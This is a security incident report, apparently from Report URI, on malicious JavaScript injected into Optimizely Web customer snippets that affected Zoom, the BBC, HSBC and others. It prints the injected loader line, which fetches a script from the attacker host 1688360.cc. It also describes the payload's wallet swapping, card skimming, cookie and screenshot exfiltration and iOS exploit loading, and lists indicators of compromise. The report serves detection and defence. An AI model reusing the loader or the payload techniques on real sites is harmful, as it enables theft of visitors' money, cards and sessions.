世界最大品牌通过 Optimizely 感染恶意软件
Optimizely Compromised, Served Malware on Zoom, GitLab

原始链接: https://blog.report-uri.com/worlds-largest-brands-infected-with-malware-via-optimizely/

2026年11月16日,攻击者将恶意JavaScript注入Optimizely Web客户代码片段,影响178个组织。由于代码经由Optimizely受信任的CDN运行,Zoom、BBC、CNN、Salesforce、IKEA、HSBC、Equifax、Ledger和Peacock等主要网站都加载了它。载荷会替换加密货币钱包地址、从网站自有表单中窃取支付卡信息、盗取Cookie和截图,并向存在漏洞的iPhone和iPad投递Coruna/DarkSword iOS漏洞利用工具包。已确认的加密货币盗窃金额约为7,040美元。Optimizely的基础设施不一定被攻破;攻击者获得了客户Project JavaScript的写入权限。大多数恶意代码片段在数小时内被移除,最后一个在UTC 21:52移除。Report URI表示监控和CSP本可检测或阻止攻击的部分内容;仅15%受影响网站的CSP阻止了它。用户应检查加密货币转账、银行卡账单、更新iOS、轮换密钥并屏蔽列出的攻击者域名。

一篇 Hacker News 帖子报道称 Optimizely 遭到入侵,链接指向 amirulcyber.com。Optimizely 的状态页面表示,Recommendations 跟踪与报告功能存在部分中断。评论中,用户讨论网站能否在限制其他脚本的同时安全加载第三方 JavaScript。一位评论者指出 MDN 的内容安全策略文档是最佳实践。另一位指出,实际上这很困难,因为 SaaS 提供商经常增加依赖,且营销团队常在未进行安全审查的情况下加载大量第三方跟踪脚本。该帖子有 45 点和 5 条评论。
黑客新闻 最新 | 过去 | 评论 | 提问 | 展示 | 工作 | 提交 登录 Optimizely 遭入侵,在 Zoom、GitLab 上投放恶意软件 (report-uri.com) 12 分,由 kristjansson,32 分钟前 | 隐藏 | 过去 | 收藏 | 讨论 帮助 指南 | 常见问题 | 列表 | API | 安全 | 法律 | 申请 YC | 联系 搜索:
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原文

On 16 November 2026, malicious JavaScript was served to visitors of 178 organisations through the Optimizely Web experimentation platform. The list includes some of the most visited sites in the world: Zoom, the BBC, CNN, Salesforce, GitLab, IKEA, HSBC, Equifax, Air France-KLM, Ledger and Peacock.

The malware was a multi-purpose kit. It swapped cryptocurrency wallet addresses for the attacker's, skimmed payment cards, stole cookies and screenshots, and on iPhones and iPads it delivered the Coruna and DarkSword iOS exploit kits. Crypto has already been stolen, with verified transactions to the attackers.

This is exactly the kind of attack Report URI is designed to detect. Our platform can identify unexpected changes to trusted JavaScript, detect new scripts being loaded and reveal suspicious connections to external destinations. In this case, those signals would have exposed the malicious activity, even though the original script was being served from a trusted Optimizely domain. With an appropriate CSP in enforcement mode, organisations could have gone a step further and blocked key parts of the attack before they succeeded.

The important lesson here is that trusted JavaScript doesn't always remain trustworthy. A website can be compromised through a third-party dependency without its own code or infrastructure ever being breached.

Most of the malicious code has now been removed. At 21:52 UTC we found it in only 1 of the 188 infected snippets, down from 169 at 20:56 UTC. If your site uses Optimizely Web, or you visited any of the sites below today, read on.

What happened

Optimizely Web works by having each customer load a JavaScript "snippet" from Optimizely's CDN, for example https://cdn.optimizely.com/js/6395285578973184.js. The snippet contains Optimizely's code, the customer's experiments and an optional field called Project JavaScript (projectJS): custom code the customer writes in their Optimizely dashboard, which runs on every page.

The attacker wrote their own code into the Project JavaScript of customer projects, and the rest of each snippet was untouched. The file was still served from cdn.optimizely.com, with Optimizely's certificate, from a host that every affected site already trusted. Here is what was added to Zoom's snippet:

"projectJS": function(){(function(){try{var s=document.createElement('script');s.src='https://1688360.cc/track.js';s.async=true;(document.head||document.documentElement).appendChild(s);}catch(e){}})();

We saw three versions of the injected loader:

  1. A plain <script> tag pointing at https://1688360.cc/track.js (most snippets).
  2. The same URL hidden in base64 with atob(). A search for "1688360.cc" won't find it. Smartsheet's snippet was cleaned at one point and then re-infected with this version, so whoever wrote the code still had access at the time.
  3. A full inline copy of the payload, which runs through eval if 1688360.cc is blocked.

Some customers serve their snippet from their own domain, such as opt.scheels.com/js/<id>.js or www.vodafone.com.au/js/<id>.js. Those were affected too, because the content comes from the same Optimizely project.

We don't know how the attacker got write access to so many unrelated customer projects: a compromised Optimizely system, a compromised credential with cross-customer access, or something else. That's for Optimizely to explain. To be clear, Optimizely's CDN served exactly what it was given; this was not a CDN cache-poisoning attack. Optimizely's own sites were affected as well: the snippets for www.optimizely.com and login.optimizely.com both carried the code.

Timeline (UTC)

Time Event
Sep 17 webshell.lol, the same actor's injector, first appears on Turkish sites through an SEO "backlink panel" script
Nov 09 17:52 5vobauua3ojpklx.icu registered (iOS exploit-kit router)
Nov 13 to 11-16 Earlier wave: webshell.lol/get.js injected through Kissmetrics, StorifyMe and Minute Media scripts on sites including securitybank.com, faz.net, smh.com.au, vidaxl and foxsports.com
Nov 16 02:21 Last clean urlscan capture of the BBC's Optimizely snippet
Nov 16 04:21 First Optimizely injection seen (BBC snippet loading webshell.lol)
04:28 to 05:23 1688360.cc certificates issued; domain registered at 05:23
08:10 First build of track.js (crypto clipper)
08:28 1688360.cc/track.js first seen on bbc.com
11:20 Zoom's snippet modified (its Last-Modified header)
13:03 Attacker sweeps stolen crypto to exchanges
13:43 Card skimmer added to track.js
16:38 eil786npto9u5bq.icu registered (second iOS router)
17:13 to 17:57 Second iOS host added; Coruna iframe injected into every iOS 18.6-or-earlier visit
19:24 to 19:59 Our sweep: 186 of 1,611 Optimizely snippets infected
~20:40 to 21:10 Mass clean-up (Ledger 20:41, Smartsheet 20:56, BBC 21:07)
21:52 1 of 188 snippets still infected (TalkTalk)

The payload was rebuilt 26 times during the day. The attacker added features, and added wallets but never removed any.

What the payload does

Every visitor received the same script, track.js, and every part of it was active at once. What a visitor experienced depended on their device and what they did on the page.

1. Crypto address swapping (already stealing money)

The script finds any valid wallet address (BTC, ETH and EVM chains, TRON, Solana, TON, Litecoin, Bitcoin Cash, Dogecoin) and replaces it with one of the attacker's. It validates checksums so it only swaps real addresses. It swaps them in:

  • page text, form fields, links and images;
  • the clipboard, on copy and through navigator.clipboard;
  • outgoing fetch/XHR requests, window.open, navigation and the iOS share sheet.

It re-scans the page whenever it changes. Copy an address from any affected page, or from anywhere else while that tab is open, and you may paste the attacker's.

2. Card skimming

Added at 13:43 UTC. The script watches form submissions and every fetch/XHR POST for a card number (Luhn-checked), expiry date and CVV. When it has all three, it sends them to https://1688360.cc/card.php with navigator.sendBeacon. Cards entered in hosted payment iframes (Stripe, Adyen and similar) were out of its reach. Cards typed into a site's own form fields were not.

When it swaps an address next to wallet or payment wording, it sends the following to https://1688360.cc/hit.php:

  • the page URL;
  • document.cookie (cookies not marked HttpOnly);
  • the original addresses it replaced;
  • a screenshot of the page, rendered with html2canvas.

4. iOS exploit kits: Coruna and DarkSword

On iPhones and iPads the script loads boot.js from 5vobauua3ojpklx.icu and eil786npto9u5bq.icu. It reads the iOS version and loads an exploit chain in a hidden iframe:

iOS version Chain
13 to 17 Coruna (/A8/, plus a direct Coruna loader at /JIUJIU888/index.js)
18.x DarkSword (/B9/, /D11/, /D12/)
26 Separate chain (/C10/); currently only fingerprints the device

The Coruna loader is byte-identical to a sample we analysed in October from a different campaign. The kit's own comments say iOS 18.7.3 and later, and 26.3 and later, are patched. Pages on iOS 18.6 or earlier reload every 60 seconds to retry the exploit, which is a visible symptom.

Money stolen so far

As of 19:25 UTC on 16 November, the attacker's wallets had received about $7,040, all within roughly nine hours on the 16th:

Wallet Received ≈ USD
BTC 19g9rZcPeiz8rUvyWpTRyXXhPnjsWrc3kW 0.08298 BTC (4 tx), unspent $5,380
LTC ltc1q3wp7g6ds0ggg6fl6kncpa4sepn0q3qfacgred5 17.02 LTC (3 tx) $762
TRON THvs6p56XkUiMkJeSc51cAP64u2RsTYqxa 662.9 USDT + 184 TRX $719
ETH 0xC4026b06D82b0F0B363eda0642D61CfbDc17884e 0.055 ETH $100
BSC (same 0x address) 82 USDT $82

Funds were swept out at 13:03 to 13:05 UTC. The USDC on Ethereum went to a HitBTC deposit address. The TRON wallet has been in use since March 2026, so this actor was active long before this campaign. We cannot see how many cards or cookies reached 1688360.cc.

Who was affected

We fetched 1,611 distinct Optimizely snippets, found mostly through our own crawl data, and checked each one for the malicious code. 188 snippets belonging to 178 organisations were infected. We kept a copy of every infected file, along with its response headers, SHA-256 hash and fetch time as evidence. The real number is likely higher as we could only check snippets we could find in time.

By sector

Sector Orgs Examples
Banking & Finance 32 Paychex, HSBC US, Equifax, SmartAsset, HSBC Hong Kong
Technology & SaaS 23 Zoom, Bitly, Salesforce, GitLab, Optimizely
Retail & Fashion 20 IKEA, ASOS, Mattel, American Eagle, Scheels
Streaming & Entertainment 12 Peacock, D&D Beyond, Wizards of the Coast, NOW TV, Zattoo
News & Media 10 CNN, BBC, Fox News, NPR, CTV News
Airlines & Travel 9 Alaska Airlines / Hawaiian Airlines, Transavia, Air France-KLM, KLM Netherlands, Trafalgar
Healthcare & Pharma 8 Invisalign, Takeda, Covetrus, iTero (Align), Covetrus Pharmacy
Industrial & Manufacturing 8 Fluke, eMaint (Fluke), Fluke Networks, Vaillant Germany, Fluke Process Instruments
Telecoms 7 Virgin Media, Virgin Media O2, Vodafone Australia, O2, TPG Telecom
Crypto & Trading 6 Ledger, IG, OANDA / Coinpass, interactive investor, TMS Brokers
Insurance 6 Asurion / uBreakiFix, Mutual of Omaha, Admiral, Securian Financial, eRenterPlan
Property & Real Estate 6 Buildium (managebuilding.com), Loft Living apartments, Buildium, HireAHelper, Flytte.no (and sister comparison sites)
Food & Hospitality 5 Restaurant ordering sites (order.online), Heineken, Home Chef, Starbucks Canada, Cinnabon
Home & Smart Home 5 Resideo, Honeywell Home, myQ (Chamberlain), Chamberlain, First Alert
Nonprofit & Civic 4 Change.org, ASPCA, UNICEF USA, DonorsChoose
Gambling 4 Betsson, PokerStars, tombola, Betfred
Professional Services 4 Freshfields, CohnReznick, Baringa, Cro Metrics
Logistics & Shipping 3 ShipStation / ShipEngine, Stamps.com, ShipEngine
Automotive 3 Lucid Motors, O'Brien Glass, Chevrolet dealer network (Bill Rapp and others)
Education 3 Walden University, Perlego, Chamberlain University

Full list

Ranked by Tranco position within each sector and the status at 21:52 UTC: every snippet except TalkTalk's had been cleaned.

Banking & Finance (32)

Organisation Domains
Paychex www.paychex.com
HSBC US www.us.hsbc.com
Equifax equifax.com, my.equifax.com, signin.my.equifax.com, www.equifax.com
SmartAsset smartasset.com
HSBC Hong Kong www.hsbc.com.hk
ABN AMRO www.abnamro.de, www.abnamro.nl, www.abnamromeespierson.be
TaxAct www.taxact.com
HSBC Mexico www.hsbc.com.mx
HSBC Singapore www.insurance.hsbc.com.sg
NetCredit www.netcredit.com
Associated Bank www.associatedbank.com
S-Pankki www.s-pankki.fi
Equifax Canada my.equifax.ca, www.equifax.ca
Equifax UK equifax.co.uk
The Work Number (Equifax) theworknumber.com
Funding Circle fundingcircle.com, www.fundingcircle.com
HSBC Australia www.hsbc.com.au
CashNetUSA www.cashnetusa.com
OnDeck www.ondeck.com
ICS Cards www.icscards.nl
HSBC UAE www.hsbc.ae
HSBC Malaysia www.hsbc.com.my, www.hsbcamanah.com.my
Rest Super rest.com.au
HSBC Taiwan www.hsbc.com.tw
HSBC Vietnam www.hsbc.com.vn
HSBC Egypt www.hsbc.com.eg
HSBC Philippines www.hsbc.com.ph
SmartAdvisor Match (SmartAsset) smartadvisormatch.com
Compare Club compareclub.com.au
ABN AMRO Lease abnamrolease.com
Energy Scout energyscout.com.au
Hang Seng Investment www.hangsenginvestment.com

Technology & SaaS (23)

Organisation Domains
Zoom www.zoom.com, zoom.com, zoom.us
Bitly arcg.is, bit.ly, bitly.com
Salesforce evergage.com, exacttarget.com, pardot.com, salesforce-scrt.com +4 more
GitLab about.gitlab.com, gitlab.com
Optimizely home.optimizely.com, login.optimizely.com, optimizely.com, prep.login.optimizely.com +1 more
Mixpanel mixpanel.com
Typeform typeform.com, www.typeform.com
InMotion Hosting www.inmotionhosting.com
Wasabi wasabi.com, wasabisys.com
Perforce / Zend / Puppet www.perforce.com, www.puppet.com, zend.com
Tableau www.tableau.com
Hootsuite hootsuite.com, www.hootsuite.com
Smartsheet de.smartsheet.com, es.smartsheet.com, fr.smartsheet.com, help.smartsheet.com +2 more
MuleSoft mulesoft.com, www.mulesoft.com
Thales / Imperva community-cybersec.thalesgroup.com, imperva.com
Tricentis www.tricentis.com
Web Hosting Hub www.webhostinghub.com
QR Code Generator login.qr-code-generator.com, www.qr-code-generator.com
ServiceChannel preview.servicechannel.com, servicechannel.com, servicechannel.us
Brandfolder brandfolder.com
Intelex www.intelex.com
Enverus www.enverus.com
Accruent www.accruent.com

Retail & Fashion (20)

Organisation Domains
IKEA client.home-design.ikea.com
ASOS asos.com
Mattel creations.mattel.com
American Eagle www.ae.com
Scheels scheels.com, www.scheels.com
Ariat www.ariat.com
American Girl www.americangirl.com
StackSocial www.stacksocial.com
Crocs India www.crocs.in
Levi's Japan levi.jp
Todd Snyder www.toddsnyder.com
Levi's Indonesia levi.co.id
Just Russel app.brt-4076-credits-in-order-summary.justrussel.de, app.rph-487-customer-can-switch-their-pet-to.justrussel.be, app.rph-487-customer-can-switch-their-pet-to.justrussel.com, app.rph-487-customer-can-switch-their-pet-to.justrussel.fr +1 more
Loloi Rugs www.loloirugs.com
Levi's Australia levis.com.au
Levi's Malaysia levi.com.my
Levi's Philippines levi.com.ph
Levi's Singapore levi.com.sg
Levi's Korea levi.co.kr
Levi's New Zealand levis.co.nz

Streaming & Entertainment (12)

Organisation Domains
Peacock peacocktv.com, www.peacocktv.com
D&D Beyond dndbeyond.com, www.dndbeyond.com
Wizards of the Coast secretlair.wizards.com
NOW TV nowtv.com, www.nowtv.com
Zattoo zattoo.com
Crave www.crave.ca
Starz www.starz.com
SkyShowtime www.skyshowtime.com
Bravo www.bravotv.com
SeaWorld buschgardens.com, seaworld.com
WOW (Sky Deutschland) www.wowtv.de
NOW Italia www.nowtv.it

News & Media (10)

Organisation Domains
CNN cnn.com, edition.cnn.com, us.cnn.com, www.cnn.com
BBC www.bbc.co.uk, www.bbc.com
Fox News www.foxnews.com
NPR legacy-s1.npr.org, legacy.stage.npr.org, media.stage.npr.org, s-s1-origin.npr.org
CTV News www.ctvnews.ca
Fox Sports foxsports.com
BNN Bloomberg / CP24 www.bnnbloomberg.ca, www.cp24.com
TSN www.tsn.ca
Top Gear www.topgear.com
BBC Earth www.bbcearth.com

Airlines & Travel (9)

Organisation Domains
Alaska Airlines / Hawaiian Airlines www.alaskaair.com, www.hawaiianairlines.com
Transavia www.transavia.com
Air France-KLM liberia.klm.com, russia.airfrance.com, www.klm.be, wwws.airfrance.fr
KLM Netherlands deal.klm.nl
Trafalgar www.trafalgar.com
Contiki www.contiki.com
Insight Vacations www.insightvacations.com
The Travel Corporation uat.costco.ttc.com
Costsaver www.costsavertour.com

Healthcare & Pharma (8)

Organisation Domains
Invisalign invisalign.com, www.invisalign.com
Takeda www.takeda.com
Covetrus covetrus.com
iTero (Align) itero.com
Covetrus Pharmacy eastfieldveterinary.covetruspharmacy.com
myCovetrus www.mycovetrus.com
RaySafe (Fluke) www.raysafe.com
Takeda Oncology www.takedaoncology.com

Industrial & Manufacturing (8)

Organisation Domains
Fluke fluke.com
eMaint (Fluke) www.emaint.com
Fluke Networks www.flukenetworks.com
Vaillant Germany www.vaillant.de
Fluke Process Instruments www.flukeprocessinstruments.com
Fluke Biomedical www.flukebiomedical.com
Landauer www.landauer.com
Vaillant Spain www.vaillant.es

Telecoms (7)

Organisation Domains
Virgin Media virginmedia.com, www.virginmedia.com
Virgin Media O2 virginmediao2.co.uk, www.virginmediao2.co.uk
Vodafone Australia www.vodafone.com.au
O2 o2.co.uk, www.o2.co.uk
TPG Telecom www.tpg.com.au
Mint Mobile www.mintmobile.com
TalkTalk talktalk.co.uk, www.talktalk.co.uk

Crypto & Trading (6)

Organisation Domains
Ledger ledger.com, www.ledger.com
IG www.ig.com
OANDA / Coinpass oanda.com, www.oanda.com
interactive investor www.ii.co.uk
TMS Brokers www.tms.pl
Betashares www.betashares.com.au

Insurance (6)

Organisation Domains
Asurion / uBreakiFix www.asurion.com, www.ubreakifix.com
Mutual of Omaha moocat.mutualofomaha.com, www.mutualofomaha.com
Admiral www.admiral.com
Securian Financial www.securian.com
eRenterPlan erenterplan.com
AKA (Danish unemployment fund) www.aka.dk

Property & Real Estate (6)

Organisation Domains
Buildium (managebuilding.com) headwayassetsllc.managebuilding.com
Loft Living apartments theapartmentsatkeltonstation.loftliving.com
Buildium www.buildium.com
HireAHelper qa2.hireahelper.com
Flytte.no (and sister comparison sites) flytte.no
MovingPlace unionplus-qa4.movingplace.com

Food & Hospitality (5)

Organisation Domains
Restaurant ordering sites (order.online) order.online
Heineken www.heineken.com
Home Chef www.homechef.com
Starbucks Canada www.starbucks.ca
Cinnabon www.cinnabon.com

Home & Smart Home (5)

Organisation Domains
Resideo resideo.com, www.resideo.com
Honeywell Home www.honeywellhome.com
myQ (Chamberlain) www.myq.com
Chamberlain www.chamberlain.com
First Alert www.firstalert.com

Nonprofit & Civic (4)

Organisation Domains
Change.org www.change.org
ASPCA aspca.org, dev-cloudflare.aspca.org, secure.aspca.org, www.aspca.org
UNICEF USA www.unicefusa.org
DonorsChoose www.donorschoose.org

Gambling (4)

Organisation Domains
Betsson betsson.bet.ar, www.betsson.co, www.betsson.com, www.betsson1002.com
PokerStars www.pokerstars.com, www.pokerstars.de, www.pokerstars.fr, www.pokerstars.pt +1 more
tombola tombola.co.uk, tombolaarcade.co.uk, www.tombola.co.uk, www.tombola.it +1 more
Betfred www.betfred.com

Professional Services (4)

Organisation Domains
Freshfields www.freshfields.com
CohnReznick www.cohnreznick.com
Baringa www.baringa.com
Cro Metrics crometrics.com

Logistics & Shipping (3)

Organisation Domains
ShipStation / ShipEngine shipstation.com, www.shipstation.com
Stamps.com www.stamps.com
ShipEngine www.shipengine.com

Automotive (3)

Organisation Domains
Lucid Motors lucidmotors.com
O'Brien Glass www.obrien.com.au
Chevrolet dealer network (Bill Rapp and others) www.billrappchevy.com

Education (3)

Organisation Domains
Walden University www.waldenu.edu
Perlego www.perlego.com
Chamberlain University www.chamberlain.edu

The earlier webshell.lol wave, through Kissmetrics, StorifyMe and Minute Media, affected other sites and isn't included above.

How Report URI would have detected, or even prevented, this attack

Every one of these needs only a CSP in Report-Only mode, so nothing on the site breaks:

Product What it would have flagged
Script Watch A new script dependency on your site: https://1688360.cc/track.js, followed by the .icu iOS routers.
Data Watch New data destinations: 1688360.cc/hit.php and 1688360.cc/card.php.
Frame Watch A new frame source: eil786npto9u5bq.icu, the exploit-kit iframe.
CSP Integrity + JS Time Machine + Script Vault Your Optimizely snippet's fingerprint changing, plus a brand-new script with no matching known file. The JS Time Machine shows when the new version first appeared and how long it was served.
Threat Intelligence Reports naming 5vobauua3ojpklx.icu and webshell.lol are already flagged as IoCs, as are 1688360.cc and the other hosts below once they were added.

It's possible to go even further and deploy a CSP that could actively block these attacks and prevent any data breach happening. The websites affected by this attack weren't necessarily running vulnerable code of their own, they were loading JavaScript from a provider they trusted, and that trust was exploited. This is why monitoring what runs in your visitors' browsers is so important. Report URI gives organisations the visibility to detect when trusted dependencies change or behave unexpectedly, and the tools to help enforce policies that prevent malicious scripts and connections from succeeding.

Did Content Security Policy help?

We crawled 256 of the affected organisations' own hosts and evaluated their CSP against what this payload needs:

  1. Load track.js from 1688360.cc.
  2. Or run the inline fallback, which needs 'unsafe-eval' or 'unsafe-inline'.
  3. Send stolen data to 1688360.cc (connect-src).
  4. Load the iOS kit (script-src, frame-src).
Result Organisations
No CSP at all 68
CSP allowed the payload and the data theft 50
Payload ran, but connect-src blocked the data theft (the address swapping still worked) 17
Payload blocked 24 (15%)

Allowing cdn.optimizely.com was never going to help. The malicious code arrived from the trusted host itself. What separated the 24 protected sites from the rest was a restrictive script-src. A site that lists only the hosts it needs blocks 1688360.cc. Two common settings let it straight through:

  • 'strict-dynamic': any script the trusted Optimizely snippet inserts is trusted too.
  • 'unsafe-eval', which Optimizely's own documentation tells customers to allow: the inline-fallback version ran through eval even where track.js was blocked. That is what happened at HSBC. Its CSP blocked track.js and the data theft, but the inline copy still ran.

connect-src matters. The 17 "partial" sites blocked card, cookie and screenshot theft because they restrict where the page can send data. That doesn't stop address swapping, which happens inside the page.

What to do now

If your site uses Optimizely Web:

  1. Open every project's Project JavaScript and every experiment's custom code. Look for 1688360.cc, atob( and any script you didn't write.
  2. Review who and what has write access to your Optimizely account (users, API tokens, integrations) and rotate credentials.
  3. If you have card fields in your own forms, treat cards entered on 16 November as potentially exposed.
  4. Treat any session tokens or secrets in non-HttpOnly cookies as exposed, and rotate them.
  5. Deploy a CSP. Restrict connect-src, avoid 'unsafe-eval' where you can, and turn on reporting.
  6. Consider if you need to communicate to your customers about having served them malware.

If you visited an affected site on 16 November:

  1. Update your iPhone or iPad to iOS 18.7.3 or later, or iOS 26.3 or later.
  2. Check any crypto transfer you made. If the address you pasted doesn't match the one you meant to pay, it may have been swapped.
  3. Watch your card statements if you paid by card on an affected site.

Indicators of compromise

All of these domains are attacker-owned; block them including subdomains.

Indicator Role
1688360.cc C2: track.js, card.php, hit.php, html2canvas.min.js (136.113.106.136)
5vobauua3ojpklx.icu iOS router boot.js (34.96.213.201)
eil786npto9u5bq.icu iOS router, Coruna and iOS 26 pages (34.87.36.58)
l7bcsnwc7nzr3uo.icu Coruna telemetry, POST /api/iptj
webshell.lol Injector get.js (earlier wave)
linkforge.cc SEO-panel script carrying the injector
je4ft3gn8vxudum.icu, q1ls1ho9x7wsxlu.icu, ios-hack.icu Fallback C2s hard-coded in boot.js
p55abnw2pnsz0bo.icu, 1y69gy2mdzaltz1.icu, gm38duxoihbmy5o.icu Same certificates and IPs as the kit
window._k7, window.__k7b Global markers set by the payload
data-channel-code="02111110" Script-tag attribute on the iOS loader
BIGNIAO Coruna telemetry channel code
814a963c0da480e2449d9b6664480156e1cd6d731014117401bf635badec3a0f SHA-256, track.js (17:13 build)
f7b84b9a94f749f8ced3f0112d0a66894e8bbc3b4aa5592021d1b8976a9bad40 SHA-256, track.js (latest build, 17:57)

Attacker wallets:
BTC 19g9rZcPeiz8rUvyWpTRyXXhPnjsWrc3kW
ETH/EVM 0xC4026b06D82b0F0B363eda0642D61CfbDc17884e
TRON THvs6p56XkUiMkJeSc51cAP64u2RsTYqxa
SOL FVtL8NMYS9PA1v3HE67XUGCtGA9JaZUvqav2fU2LrV5n
TON UQAgM1VqSZQiJLSG5w-ovurq5CZdxLEK3_7CMmwALTA5e09p
LTC ltc1q3wp7g6ds0ggg6fl6kncpa4sepn0q3qfacgred5
BCH qzkaaf8n6grmpr0d9lx8xutn3r9lk722f566hhpe58
DOGE DBEGrxRF7KMSuhTS4c1MFviStU6efdMnu5

We keep an archive of every infected snippet with hashes and timestamps, and can share it with affected organisations and CERTs on request. During research and investigation, once we were confident that Optimizely was the source, we began efforts to reach out via various channels and provide the full details. At the time of publication, we have not had any response.

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